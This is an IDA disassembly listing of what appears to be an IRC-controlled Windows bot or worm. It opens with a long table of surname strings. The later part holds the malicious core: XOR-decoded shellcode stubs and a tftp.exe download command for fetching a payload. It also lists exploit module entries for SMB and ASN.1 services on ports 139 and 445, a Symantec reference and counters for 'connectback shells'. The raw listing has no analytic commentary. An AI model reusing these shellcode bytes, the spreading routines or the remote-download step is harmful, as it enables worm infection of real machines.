aDante		db 'Dante',0            ; DATA XREF: ___:0042DA0Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA08o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA04o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA00o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042D9FCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042D9F8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042D9F4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042D9F0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042D9ECo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042D9E8o
aCui		db 'Cui',0              ; DATA XREF: ___:0042D9E4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042D9E0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042D9DCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042D9D8o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042D9D4o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042D9D0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9CCo
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9C8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9C4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9C0o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9BCo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9B8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9B4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9B0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9ACo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9A4o
					; ___:0042D9A8o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9A0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D99Co
aColella	db 'Colella',0          ; DATA XREF: ___:0042D998o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D994o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D990o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D98Co
aClow		db 'Clow',0             ; DATA XREF: ___:0042D988o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D984o
aClement	db 'Clement',0          ; DATA XREF: ___:0042D980o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D97Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D978o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D974o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D970o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D96Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D968o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042D964o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D960o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D95Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D958o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D954o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D950o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D94Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D948o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D944o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D940o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D93Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D938o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D934o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D930o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D92Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D928o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D924o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D920o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D91Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D918o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D914o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D910o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D90Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D908o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D904o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D900o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D8FCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D8F8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D8F4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D8F0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D8ECo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D8E8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D8E4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D8DCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D8D8o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D8D4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D8D0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8CCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8C8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8C4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8C0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8BCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8B8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8B4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8B0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8ACo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8A8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8A4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8A0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D89Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D898o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D894o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D890o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D88Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D888o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D884o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D880o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D87Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D878o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D874o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D870o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D86Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D868o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D864o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D860o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D858o
					; ___:0042D85Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D854o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D850o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D84Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D848o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D844o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D840o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D83Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D838o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D834o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D830o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D82Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D828o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D824o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D820o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D81Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D818o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D814o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D810o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D80Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D808o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D804o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D800o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D7FCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D7F8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D7F4o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D7F0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D7ECo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D7E8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D7E4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D7E0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D7DCo
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D7D8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D7D4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D7D0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7C8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7C4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7C0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7BCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7B8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7B4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7B0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7ACo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7A8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7A4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7A0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D79Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D798o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D794o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D790o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D78Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D788o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D784o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D780o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D77Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D778o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D774o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D770o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D76Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D768o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D764o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D760o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D75Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D758o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D754o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D750o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D74Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D748o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D744o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D740o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D73Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D738o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D734o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D730o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D72Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D728o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D724o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D720o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D71Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D718o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D714o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D710o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D70Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D708o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D704o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D700o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D6FCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D6F8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D6F4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D6F0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D6ECo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D6E8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D6E4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D6E0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D6DCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D6D8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D6D4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D6D0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6CCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6C8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6C4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6C0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6BCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6B8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6B4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6B0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6ACo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6A8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6A4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6A0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D69Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D698o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D694o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D690o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D68Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D688o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D684o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D680o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D67Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D678o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D674o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D670o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D66Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D668o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D664o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D660o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D65Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D658o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D654o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D650o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D64Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D648o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D644o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D640o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D63Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D638o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D634o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D630o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D62Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D628o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D624o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D620o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D61Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D618o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D614o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D610o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D60Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D608o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D604o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D600o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D5FCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D5F8o
		align 10h
byte_431250	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431254	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431258	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431260	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431264	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431268	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43126C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431270	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_431274	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431278	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_43127C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431280	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431288	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431298
; ---------------------------------------------------------------------------

loc_431296:				; CODE XREF: ___:loc_431298p
		jmp	short loc_43129D
; ---------------------------------------------------------------------------

loc_431298:				; CODE XREF: ___:00431294j
		call	loc_431296

loc_43129D:				; CODE XREF: ___:loc_431296j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh

loc_4312A4:				; CODE XREF: ___:004312A9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312A4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh

loc_4312BA:				; CODE XREF: ___:004312BFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312BA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43135C
		jnz	short loc_431348
		retn
; ---------------------------------------------------------------------------

loc_431348:				; CODE XREF: ___:00431345j
					; ___:00431355j
		call	near ptr loc_43134D+1

loc_43134D:				; CODE XREF: ___:loc_431348p
		add	[edx+0], ch
		call	sub_43135C
		jz	loc_431348
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43135C	proc near		; CODE XREF: ___:00431340p
					; ___:00431350p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43135C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431408	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43140C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431410	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431414	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431418	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43141C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4315EA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431616

; =============== S U B	R O U T	I N E =======================================



sub_431606	proc near		; CODE XREF: sub_431606:loc_431616p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_43160E:				; CODE XREF: sub_431606+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43160E
		jmp	short loc_43161B
; ---------------------------------------------------------------------------

loc_431616:				; CODE XREF: ___:00431604j
		call	sub_431606

loc_43161B:				; CODE XREF: sub_431606+Ej
		jo	short near ptr dword_4315A4+12h
		cwde
		cdq
		cdq
		retn
sub_431606	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_431798	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317A4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317C4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43180C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
